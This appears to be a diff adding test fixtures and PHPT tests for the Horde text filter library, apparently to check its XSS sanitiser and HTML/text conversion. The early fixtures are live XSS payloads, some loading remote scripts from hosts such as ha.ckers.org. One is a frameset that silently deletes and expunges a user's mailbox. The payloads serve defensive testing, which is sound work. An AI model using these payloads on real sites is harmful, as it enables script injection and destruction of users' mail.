+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
+</BODY></HTML>
--- /dev/null
+<SCRIPT SRC="http://ha.ckers.org/xss.jpg"><SCRIPT>
--- /dev/null
+<IMG SRC="javascript:alert('XSS')"
--- /dev/null
+<SCRIPT a=">" SRC="http://xss.com/a.js"></SCRIPT>
--- /dev/null
+<SCRIPT =">" SRC="http://xss.com/a.js"></SCRIPT>
--- /dev/null
+<SCRIPT a=">" '' SRC="http://xss.com/a.js"></SCRIPT>
--- /dev/null
+<SCRIPT "a='>'" SRC="http://xss.com/a.js"></SCRIPT>
--- /dev/null
+<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
--- /dev/null
+<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
--- /dev/null
+<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/a.js"></SCRIPT>
--- /dev/null
+<body/onload=alert(/xss/)>
--- /dev/null
+<frameset rows="15,15,15,15,15,15,15,15,15,*">
+<frame src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=199&indices%5B%5D=200&indices%5B%5D=201&indices%5B%5D=202&indices%5B%5D=203&indices%5B%5D=204&indices%5B%5D=205&indices%5B%5D=206&indices%5B%5D=207&indices%5B%5D=208&indices%5B%5D=209&indices%5B%5D=210&indices%5B%5D=211&indices%5B%5D=212&indices%5B%5D=213&indices%5B%5D=214&indices%5B%5D=215&indices%5B%5D=216&indices%5B%5D=217&indices%5B%5D=218&indices%5B%5D=219&indices%5B%5D=220&indices%5B%5D=221&indices%5B%5D=222&indices%5B%5D=223&indices%5B%5D=224&indices%5B%5D=225&indices%5B%5D=226&indices%5B%5D=227&indices%5B%5D=228&indices%5B%5D=229&indices%5B%5D=230&indices%5B%5D=231&indices%5B%5D=232&indices%5B%5D=233&indices%5B%5D=234&indices%5B%5D=235&indices%5B%5D=236&indices%5B%5D=237&indices%5B%5D=238&indices%5B%5D=239&indices%5B%5D=240&indices%5B%5D=241&indices%5B%5D=242&indices%5B%5D=243&indices%5B%5D=244&indices%5B%5D=245&indices%5B%5D=246&indices%5B%5D=247&indices%5B%5D=248&indices%5B%5D=249&indices%5B%5D=250&indices%5B%5D=251&indices%5B%5D=252&indices%5B%5D=253&indices%5B%5D=254&indices%5B%5D=255&indices%5B%5D=256&indices%5B%5D=257&indices%5B%5D=258&indices%5B%5D=259&indices%5B%5D=260&indices%5B%5D=261&indices%5B%5D=262&indices%5B%5D=263&indices%5B%5D=264&indices%5B%5D=265&indices%5B%5D=266&indices%5B%5D=267&indices%5B%5D=268&indices%5B%5D=269&indices%5B%5D=270&indices%5B%5D=271&indices%5B%5D=272&indices%5B%5D=273&indices%5B%5D=274&indices%5B%5D=275&indices%5B%5D=276&indices%5B%5D=277&indices%5B%5D=278&indices%5B%5D=279&indices%5B%5D=280&indices%5B%5D=281&indices%5B%5D=282&indices%5B%5D=283&indices%5B%5D=284&indices%5B%5D=285&indices%5B%5D=286&indices%5B%5D=287&indices%5B%5D=288&indices%5B%5D=289&indices%5B%5D=290&indices%5B%5D=291&indices%5B%5D=292&indices%5B%5D=293&indices%5B%5D=294&indices%5B%5D=295&indices%5B%5D=296&indices%5B%5D=297&indices%5B%5D=298">
+<frame src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=299&indices%5B%5D=300&indices%5B%5D=301&indices%5B%5D=302&indices%5B%5D=303&indices%5B%5D=304&indices%5B%5D=305&indices%5B%5D=306&indices%5B%5D=307&indices%5B%5D=308&indices%5B%5D=309&indices%5B%5D=310&indices%5B%5D=311&indices%5B%5D=312&indices%5B%5D=313&indices%5B%5D=314&indices%5B%5D=315&indices%5B%5D=316&indices%5B%5D=317&indices%5B%5D=318&indices%5B%5D=319&indices%5B%5D=320&indices%5B%5D=321&indices%5B%5D=322&indices%5B%5D=323&indices%5B%5D=324&indices%5B%5D=325&indices%5B%5D=326&indices%5B%5D=327&indices%5B%5D=328&indices%5B%5D=329&indices%5B%5D=330&indices%5B%5D=331&indices%5B%5D=332&indices%5B%5D=333&indices%5B%5D=334&indices%5B%5D=335&indices%5B%5D=336&indices%5B%5D=337&indices%5B%5D=338&indices%5B%5D=339&indices%5B%5D=340&indices%5B%5D=341&indices%5B%5D=342&indices%5B%5D=343&indices%5B%5D=344&indices%5B%5D=345&indices%5B%5D=346&indices%5B%5D=347&indices%5B%5D=348&indices%5B%5D=349&indices%5B%5D=350&indices%5B%5D=351&indices%5B%5D=352&indices%5B%5D=353&indices%5B%5D=354&indices%5B%5D=355&indices%5B%5D=356&indices%5B%5D=357&indices%5B%5D=358&indices%5B%5D=359&indices%5B%5D=360&indices%5B%5D=361&indices%5B%5D=362&indices%5B%5D=363&indices%5B%5D=364&indices%5B%5D=365&indices%5B%5D=366&indices%5B%5D=367&indices%5B%5D=368&indices%5B%5D=369&indices%5B%5D=370&indices%5B%5D=371&indices%5B%5D=372&indices%5B%5D=373&indices%5B%5D=374&indices%5B%5D=375&indices%5B%5D=376&indices%5B%5D=377&indices%5B%5D=378&indices%5B%5D=379&indices%5B%5D=380&indices%5B%5D=381&indices%5B%5D=382&indices%5B%5D=383&indices%5B%5D=384&indices%5B%5D=385&indices%5B%5D=386&indices%5B%5D=387&indices%5B%5D=388&indices%5B%5D=389&indices%5B%5D=390&indices%5B%5D=391&indices%5B%5D=392&indices%5B%5D=393&indices%5B%5D=394&indices%5B%5D=395&indices%5B%5D=396&indices%5B%5D=397&indices%5B%5D=398">
+<frame src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=399&indices%5B%5D=400&indices%5B%5D=401&indices%5B%5D=402&indices%5B%5D=403&indices%5B%5D=404&indices%5B%5D=405&indices%5B%5D=406&indices%5B%5D=407&indices%5B%5D=408&indices%5B%5D=409&indices%5B%5D=410&indices%5B%5D=411&indices%5B%5D=412&indices%5B%5D=413&indices%5B%5D=414&indices%5B%5D=415&indices%5B%5D=416&indices%5B%5D=417&indices%5B%5D=418&indices%5B%5D=419&indices%5B%5D=420&indices%5B%5D=421&indices%5B%5D=422&indices%5B%5D=423&indices%5B%5D=424&indices%5B%5D=425&indices%5B%5D=426&indices%5B%5D=427&indices%5B%5D=428&indices%5B%5D=429&indices%5B%5D=430&indices%5B%5D=431&indices%5B%5D=432&indices%5B%5D=433&indices%5B%5D=434&indices%5B%5D=435&indices%5B%5D=436&indices%5B%5D=437&indices%5B%5D=438&indices%5B%5D=439&indices%5B%5D=440&indices%5B%5D=441&indices%5B%5D=442&indices%5B%5D=443&indices%5B%5D=444&indices%5B%5D=445&indices%5B%5D=446&indices%5B%5D=447&indices%5B%5D=448&indices%5B%5D=449&indices%5B%5D=450&indices%5B%5D=451&indices%5B%5D=452&indices%5B%5D=453&indices%5B%5D=454&indices%5B%5D=455&indices%5B%5D=456&indices%5B%5D=457&indices%5B%5D=458&indices%5B%5D=459&indices%5B%5D=460&indices%5B%5D=461&indices%5B%5D=462&indices%5B%5D=463&indices%5B%5D=464&indices%5B%5D=465&indices%5B%5D=466&indices%5B%5D=467&indices%5B%5D=468&indices%5B%5D=469&indices%5B%5D=470&indices%5B%5D=471&indices%5B%5D=472&indices%5B%5D=473&indices%5B%5D=474&indices%5B%5D=475&indices%5B%5D=476&indices%5B%5D=477&indices%5B%5D=478&indices%5B%5D=479&indices%5B%5D=480&indices%5B%5D=481&indices%5B%5D=482&indices%5B%5D=483&indices%5B%5D=484&indices%5B%5D=485&indices%5B%5D=486&indices%5B%5D=487&indices%5B%5D=488&indices%5B%5D=489&indices%5B%5D=490&indices%5B%5D=491&indices%5B%5D=492&indices%5B%5D=493&indices%5B%5D=494&indices%5B%5D=495&indices%5B%5D=496&indices%5B%5D=497&indices%5B%5D=498">
+<frame src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=499&indices%5B%5D=500&indices%5B%5D=501&indices%5B%5D=502&indices%5B%5D=503&indices%5B%5D=504&indices%5B%5D=505&indices%5B%5D=506&indices%5B%5D=507&indices%5B%5D=508&indices%5B%5D=509&indices%5B%5D=510&indices%5B%5D=511&indices%5B%5D=512&indices%5B%5D=513&indices%5B%5D=514&indices%5B%5D=515&indices%5B%5D=516&indices%5B%5D=517&indices%5B%5D=518&indices%5B%5D=519&indices%5B%5D=520&indices%5B%5D=521&indices%5B%5D=522&indices%5B%5D=523&indices%5B%5D=524&indices%5B%5D=525&indices%5B%5D=526&indices%5B%5D=527&indices%5B%5D=528&indices%5B%5D=529&indices%5B%5D=530&indices%5B%5D=531&indices%5B%5D=532&indices%5B%5D=533&indices%5B%5D=534&indices%5B%5D=535&indices%5B%5D=536&indices%5B%5D=537&indices%5B%5D=538&indices%5B%5D=539&indices%5B%5D=540&indices%5B%5D=541&indices%5B%5D=542&indices%5B%5D=543&indices%5B%5D=544&indices%5B%5D=545&indices%5B%5D=546&indices%5B%5D=547&indices%5B%5D=548&indices%5B%5D=549&indices%5B%5D=550&indices%5B%5D=551&indices%5B%5D=552&indices%5B%5D=553&indices%5B%5D=554&indices%5B%5D=555&indices%5B%5D=556&indices%5B%5D=557&indices%5B%5D=558&indices%5B%5D=559&indices%5B%5D=560&indices%5B%5D=561&indices%5B%5D=562&indices%5B%5D=563&indices%5B%5D=564&indices%5B%5D=565&indices%5B%5D=566&indices%5B%5D=567&indices%5B%5D=568&indices%5B%5D=569&indices%5B%5D=570&indices%5B%5D=571&indices%5B%5D=572&indices%5B%5D=573&indices%5B%5D=574&indices%5B%5D=575&indices%5B%5D=576&indices%5B%5D=577&indices%5B%5D=578&indices%5B%5D=579&indices%5B%5D=580&indices%5B%5D=581&indices%5B%5D=582&indices%5B%5D=583&indices%5B%5D=584&indices%5B%5D=585&indices%5B%5D=586&indices%5B%5D=587&indices%5B%5D=588&indices%5B%5D=589&indices%5B%5D=590&indices%5B%5D=591&indices%5B%5D=592&indices%5B%5D=593&indices%5B%5D=594&indices%5B%5D=595&indices%5B%5D=596&indices%5B%5D=597&indices%5B%5D=598">
+<frame src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=599&indices%5B%5D=600&indices%5B%5D=601&indices%5B%5D=602&indices%5B%5D=603&indices%5B%5D=604&indices%5B%5D=605&indices%5B%5D=606&indices%5B%5D=607&indices%5B%5D=608&indices%5B%5D=609&indices%5B%5D=610&indices%5B%5D=611&indices%5B%5D=612&indices%5B%5D=613&indices%5B%5D=614&indices%5B%5D=615&indices%5B%5D=616&indices%5B%5D=617&indices%5B%5D=618&indices%5B%5D=619&indices%5B%5D=620&indices%5B%5D=621&indices%5B%5D=622&indices%5B%5D=623&indices%5B%5D=624&indices%5B%5D=625&indices%5B%5D=626&indices%5B%5D=627&indices%5B%5D=628&indices%5B%5D=629&indices%5B%5D=630&indices%5B%5D=631&indices%5B%5D=632&indices%5B%5D=633&indices%5B%5D=634&indices%5B%5D=635&indices%5B%5D=636&indices%5B%5D=637&indices%5B%5D=638&indices%5B%5D=639&indices%5B%5D=640&indices%5B%5D=641&indices%5B%5D=642&indices%5B%5D=643&indices%5B%5D=644&indices%5B%5D=645&indices%5B%5D=646&indices%5B%5D=647&indices%5B%5D=648&indices%5B%5D=649&indices%5B%5D=650&indices%5B%5D=651&indices%5B%5D=652&indices%5B%5D=653&indices%5B%5D=654&indices%5B%5D=655&indices%5B%5D=656&indices%5B%5D=657&indices%5B%5D=658&indices%5B%5D=659&indices%5B%5D=660&indices%5B%5D=661&indices%5B%5D=662&indices%5B%5D=663&indices%5B%5D=664&indices%5B%5D=665&indices%5B%5D=666&indices%5B%5D=667&indices%5B%5D=668&indices%5B%5D=669&indices%5B%5D=670&indices%5B%5D=671&indices%5B%5D=672&indices%5B%5D=673&indices%5B%5D=674&indices%5B%5D=675&indices%5B%5D=676&indices%5B%5D=677&indices%5B%5D=678&indices%5B%5D=679&indices%5B%5D=680&indices%5B%5D=681&indices%5B%5D=682&indices%5B%5D=683&indices%5B%5D=684&indices%5B%5D=685&indices%5B%5D=686&indices%5B%5D=687&indices%5B%5D=688&indices%5B%5D=689&indices%5B%5D=690&indices%5B%5D=691&indices%5B%5D=692&indices%5B%5D=693&indices%5B%5D=694&indices%5B%5D=695&indices%5B%5D=696&indices%5B%5D=697&indices%5B%5D=698">
+<frame src="mailbox.php?page=1&actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&actionID=expunge_mailbox">
+<frame src="mailbox.php?page=1&actionID=expunge_mailbox">
+<frame src="http://secunia.com/">
+</frameset>
--- /dev/null
+<img src=""> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"" />
--- /dev/null
+--TEST--
+Horde_Text_Filter_Html2text tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Html2text.php';
+$html = file_get_contents(dirname(__FILE__) . '/fixtures/html2text.html');
+echo Horde_Text_Filter::filter($html, 'html2text', array('charset' => 'UTF-8'));
+
+?>
+--EXPECT--
+INLINE FORMATTING
+
+Some text with leading and trailing whitespace
+
+ emphasis text /emphasis text/
+ strong text STRONG TEXT
+ italic text /italic text/
+ bold text BOLD TEXT
+ emphasis and strong /EMPHASIS AND STRONG/
+ underline text _underline text_
+
+-------------------------
+
+LINKS
+
+Horde Homepage[1]
+Test User[2]
+Some inline link[3].
+http://www.example.com
+
+-------------------------
+
+HEADINGS
+
+You can make various levels of heading by putting equals-signs before
+and after the text (all on its own line):
+
+LEVEL 3 HEADING
+
+Level 4 Heading
+
+Level 5 Heading
+
+Level 6 Heading
+
+-------------------------
+
+BULLET LISTS
+
+You can create bullet lists by starting a paragraph with one or more
+asterisks.
+
+ * Bullet one
+
+ * Sub-bullet
+
+NUMBERED LISTS
+
+Similarly, you can create numbered lists by starting a paragraph with
+one or more hashes.
+
+ * Numero uno
+ * Number two
+
+ * Sub-item
+
+MIXING BULLET AND NUMBER LIST ITEMS
+
+You can mix and match bullet and number lists:
+
+ * Number one
+
+ * Bullet
+ * Bullet
+
+ * Number two
+
+ * Bullet
+ * Bullet
+
+ * Sub-bullet
+
+ * Sub-sub-number
+ * Sub-sub-number
+
+ * Number three
+
+ * Bullet
+ * Bullet
+
+BLOCK QUOTING
+
+> Horde Homepage[4]
+> Some inline link[5].
+
+Line inbetween.
+
+> HEADING INSIDE QUOTING
+>
+> This is a paragraph inside a block quoting. The result should be
+> several lines prefixed with the > character.
+
+SPECIAL CHARACTERS
+
+ä é © (tm)
+
+Zitat von John Doe <john.doe@example.com>:
+
+> Hallo lieber John,
+>
+> Blah, blah.'
+
+--
+Some signature
+http://www.example.com
+
+Zitat von Jane Doe <jane.doe@example.com>:
+
+> Jan Schneider a écrit :
+>
+> > Zitat von Jane Doe <jane.doe@example.com>:
+> >
+> > > Hi,
+> > >
+> > > I prepare the last "horde-webmail-1.2" for production
+> > > level but I have few questions:
+> > > - is there a way to disable "external_display_cal" in
+> > > kronolith, I don't want seeing birthdays calendars (turba) and
+> > task
+> > > list (nag)
+> >
+> >
+> > They aren't displayed by default, or do you mean you don't want
+> > them to appear in the top right calendar panel?
+>
+> Yes I don't want them to appear in the top right calendar panel
+> but I want user can create their external_cal
+
+Jan.
+
+--
+Do you need professional PHP or Horde consulting?
+http://horde.org/consulting/
+
+Links:
+------
+[1] http://www.horde.org
+[2] mailto:test@example.com
+[3] http://www.horde.org
+[4] http://www.horde.org
+[5] http://www.horde.org
--- /dev/null
+--TEST--
+Horde_Text_Filter_Html2text lists test
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/html2text.php';
+
+$html = <<<EOT
+<ul>
+ <li>This is a short line.</li>
+ <li>This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line.</li>
+ <li>And again a short line.</li>
+</ul>
+EOT;
+echo Horde_Text_Filter::filter($html, 'html2text', array('width' => 50));
+echo Horde_Text_Filter::filter($html, 'html2text', array('wrap' => false));
+
+?>
+--EXPECT--
+ * This is a short line.
+ * This is a long line. This is a long line.
+This is a long line. This is a long line. This is
+a long line. This is a long line. This is a long
+line. This is a long line. This is a long line.
+This is a long line. This is a long line. This is
+a long line.
+ * And again a short line.
+
+
+
+ * This is a short line.
+ * This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line.
+ * And again a short line.
--- /dev/null
+--TEST--
+Horde_Text_Filter_Html2text quoting test
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Html2text.php';
+$html = <<<EOT
+<p>Zitat von Roberto Maurizzi <roberto.maurizzi@gmail.com>:</p>
+ <blockquote type="cite">
+ <div class="gmail_quote">
+ <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote">
+ <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote">
+ <div class="Ih2E3d">
+ <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote">4) In Turba, I can select a VFS driver to use. Currently it is set to<br />
+
+None and turba seems to be working fine. What does Turba use the VFS<br />
+for?<br /> </blockquote>
+ </div>
+ </blockquote><br />
+You can attach files to contacts with that.<br /> <br />
+Jan.<br /><font color="#888888"> </font>
+ </blockquote>
+ <div><br /></div>
+ </div>Anything similar for Kronolith, maybe in the new version?<br />I've googled a little and only found a discussion in 2004 about having attachment (or links) from VFS in Kronolith.<br />
+I'd really like to be able to attach all my taxes forms to the day I have to pay them ;-) and more in general all the extra documentation regarding an appointment.<br /><br />Ciao,<br /> Roberto<br /><br />
+ </blockquote>
+ <p>Some unquoted line with single ' quotes.</p>
+ <p class="imp-signature"><!--begin_signature-->Jan.<br /> <br />
+-- <br />
+Do you need professional PHP or Horde consulting?<br /> <a target="_blank" href="http://horde.org/consulting/">http://horde.org/consulting/</a><!--end_signature--></p>
+EOT;
+echo Horde_Text_Filter::filter($html, 'html2text');
+
+?>
+--EXPECT--
+Zitat von Roberto Maurizzi <roberto.maurizzi@gmail.com>:
+
+> > > > 4) In Turba, I can select a VFS driver to use. Currently it
+is
+> > set
+> > > > to
+> > > > None and turba seems to be working fine. What does Turba use
+> > the
+> > > > VFS
+> > > > for?
+> >
+> > You can attach files to contacts with that.
+> >
+> > Jan.
+>
+> Anything similar for Kronolith, maybe in the new version?
+> I've googled a little and only found a discussion in 2004 about
+> having attachment (or links) from VFS in Kronolith.
+> I'd really like to be able to attach all my taxes forms to the day
+> I have to pay them ;-) and more in general all the extra
+> documentation regarding an appointment.
+>
+> Ciao,
+> Roberto
+
+Some unquoted line with single ' quotes.
+
+Jan.
+
+--
+Do you need professional PHP or Horde consulting?
+http://horde.org/consulting/
--- /dev/null
+--TEST--
+Horde_Text_Filter_Space2html tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/space2html.php';
+
+$spaces = array('x x', 'x x', 'x x', 'x x', 'x x');
+foreach ($spaces as $space) {
+ echo Horde_Text_Filter::filter($space, 'space2html', array('encode_all' => false));
+ echo "\n";
+ echo Horde_Text_Filter::filter($space, 'space2html', array('encode_all' => true));
+ echo "\n";
+}
+
+?>
+--EXPECT--
+x x
+x x
+x x
+x x
+x x
+x x
+x x
+x x
+x x
+x x
--- /dev/null
+--TEST--
+Horde_Text_Filter_Text2html tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Text2html.php';
+
+$_COOKIE[session_name()] = true;
+$text = file_get_contents(dirname(__FILE__) . '/fixtures/text2html.txt');
+$params = array('class' => null);
+$levels = array(Horde_Text_Filter_Text2html::PASSTHRU,
+ Horde_Text_Filter_Text2html::SYNTAX,
+ Horde_Text_Filter_Text2html::MICRO,
+ Horde_Text_Filter_Text2html::MICRO_LINKURL,
+ Horde_Text_Filter_Text2html::NOHTML,
+ Horde_Text_Filter_Text2html::NOHTML_NOBREAK);
+
+foreach ($levels as $level) {
+ $params['parselevel'] = $level;
+ echo Horde_Text_Filter::filter($text, 'text2html', $params);
+ echo "-------------------------------------------------\n";
+}
+
+?>
+--EXPECT--
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+<tag>foo</tag>
+<http://css.maxdesign.com.au/listamatic/>
+http://www.horde.org/?foo=bar&baz=qux
+http://www.<alert>.horde.org/
+http://www.2.horde.org/
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:<a href="mailto:jan@example.com" title="New Message to jan@example.com">jan@example.com</a><br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+<tag>foo</tag><br />
+<<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>><br />
+<a href="http://www.horde.org/?foo=bar&baz=qux" target="_blank">http://www.horde.org/?foo=bar&baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.<alert>.horde.org/<br />
+<a href="http://www.&#x32;.horde.org/" target="_blank">http://www.&#x32;.horde.org/</a><br />
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:<a href="mailto:jan@example.com" title="New Message to jan@example.com">jan@example.com</a><br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+<tag>foo</tag><br />
+<<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>><br />
+<a href="http://www.horde.org/?foo=bar&baz=qux" target="_blank">http://www.horde.org/?foo=bar&baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.<alert>.horde.org/<br />
+<a href="http://www.&#x32;.horde.org/" target="_blank">http://www.&#x32;.horde.org/</a><br />
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:jan@example.com<br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+<tag>foo</tag><br />
+<<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>><br />
+<a href="http://www.horde.org/?foo=bar&baz=qux" target="_blank">http://www.horde.org/?foo=bar&baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.<alert>.horde.org/<br />
+<a href="http://www.&#x32;.horde.org/" target="_blank">http://www.&#x32;.horde.org/</a><br />
+-------------------------------------------------
+http://www.horde.org/foo/<br />
+https://jan:secret@www.horde.org/foo/<br />
+mailto:jan@example.com<br />
+svn+ssh://jan@svn.example.com/path/<br />
+<tag>foo</tag><br />
+<http://css.maxdesign.com.au/listamatic/><br />
+http://www.horde.org/?foo=bar&baz=qux<br />
+http://www.<alert>.horde.org/<br />
+http://www.&#x32;.horde.org/<br />
+-------------------------------------------------
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+<tag>foo</tag>
+<http://css.maxdesign.com.au/listamatic/>
+http://www.horde.org/?foo=bar&baz=qux
+http://www.<alert>.horde.org/
+http://www.&#x32;.horde.org/
+-------------------------------------------------
--- /dev/null
+--TEST--
+Horde_Text_Filter_Xss tests
+--FILE--
+<?php
+
+/* Test cases from http://ha.ckers.org/xss.html */
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Xss.php';
+
+foreach (glob(dirname(__FILE__) . '/fixtures/xss*.html') as $file) {
+ $data = file_get_contents($file);
+ echo basename($file) . "\n";
+ echo Horde_Text_Filter::filter($data, 'xss', array('body_only' => false));
+}
+
+foreach (glob(dirname(__FILE__) . '/fixtures/style_xss*.html') as $file) {
+ $data = file_get_contents($file);
+ echo basename($file) . "\n";
+ echo Horde_Text_Filter::filter($data, 'xss', array('body_only' => false, 'strip_styles' => false));
+}
+
+?>
+--EXPECT--
+xss01.html
+<XSSCleaned_script />
+xss02.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss03.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss04.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss05.html
+<IMG SRC=XSSCleanedalert("XSS")>
+xss06.html
+<IMG SRC=XSSCleanedalert("RSnake says, 'XSS'")`>
+xss07.html
+<IMG """><XSSCleaned_script />">
+xss08.html
+<IMG SRC=XSSCleanedalert(String.fromCharCode(88,83,83))>
+xss09.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss10.html
+<IMG SRC= >
+xss100.html
+<img src='blank.jpg' XSSCleaned='width:expression(alert("xssed"))'>
+xss11.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss12.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss13.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss14.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss15.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss16.html
+<IMG
+SRC
+=XSSCleaned
+a
+l
+e
+r
+t
+(
+'
+X
+S
+S
+'
+)
+"
+>
+xss17.html
+<IMG SRC=XSSCleanedalert("XSS")>
+xss18.html
+<XSSCleaned_script />
+xss19.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss20.html
+<XSSCleaned_script />
+xss21.html
+<BODY onloadXSSCleaned=alert("XSS")>
+xss22.html
+<XSSCleaned_script />
+xss23.html
+<<XSSCleaned_script />
+xss24.html
+<XSSCleaned_tag SRC=http://ha.ckers.org/xss.js?<B>
+xss25.html
+<XSSCleaned_tag SRC=//ha.ckers.org/.j>
+xss26.html
+<IMG SRC="XSSCleanedalert('XSS')"
+xss27.html
+<XSSCleaned_tag src=http://ha.ckers.org/scriptlet.html <
+xss28.html
+<XSSCleaned_script />
+xss29.html
+</TITLE><XSSCleaned_script />
+xss30.html
+<INPUT TYPE="XSSCleanedalert('XSS');">
+xss31.html
+<BODY BACKGROUND="XSSCleanedalert('XSS')">
+xss32.html
+<BODY ONLOADXSSCleaned=alert('XSS')>
+xss33.html
+<IMG DYNSRC="XSSCleanedalert('XSS')">
+xss34.html
+<IMG LOWSRC="XSSCleanedalert('XSS')">
+xss35.html
+<BGSOUND SRC="XSSCleanedalert('XSS');">
+xss36.html
+<BR SIZE="&{;}">
+xss37.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/scriptlet.html"></XSSCleaned_tag>
+xss38.html
+<!-- <LINK REL="XSSCleanedalert('XSS');"> -->
+xss39.html
+<!-- <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> -->
+xss40.html
+<!--@import'http://ha.ckers.org/xss.css';-->
+xss41.html
+<XSSCleaned_tag HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
+xss42.html
+<!--BODY{-moz-XSSCleaned:url("http://ha.ckers.org/xssmoz.xml#xss")}-->
+xss43.html
+<XSS XSSCleaned="behavior: url(xss.htc);">
+xss44.html
+<!--li {list-style-image: url("XSSCleanedalert('XSS')");}--><UL><LI>XSS
+xss45.html
+<IMG SRC='XSSCleanedmsgbox("XSS")'>
+xss46.html
+<IMG SRC="XSSCleaned:[code]">
+xss47.html
+<IMG SRC="XSSCleaned[code]">
+xss48.html
+<XSSCleaned_tag HTTP-EQUIV="XSSCleanedalert('XSS');">
+xss49.html
+<XSSCleaned_tag HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+xss50.html
+<XSSCleaned_tag HTTP-EQUIV="XSSCleanedalert('XSS');">
+xss51.html
+<XSSCleaned_tag SRC=XSSCleanedalert('XSS')></XSSCleaned_tag>
+xss52.html
+<XSSCleaned_tagSET><XSSCleaned_tag SRC=XSSCleanedalert('XSS')></XSSCleaned_tag></XSSCleaned_tagSET>
+xss53.html
+<TABLE BACKGROUND="XSSCleanedalert('XSS')">
+xss54.html
+<TABLE><TD BACKGROUND="XSSCleanedalert('XSS')">
+xss55.html
+<DIV XSSCleaned="XSSCleanedalert('XSS'))">
+xss56.html
+<DIV XSSCleaned="XSSCleaned\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
+xss57.html
+<DIV XSSCleaned="XSSCleanedalert('XSS'))">
+xss58.html
+<DIV XSSCleaned="width: expression(alert('XSS'));">
+xss59.html
+<!--@im\port'\ja\vasc\ript:alert("XSS")';-->
+xss60.html
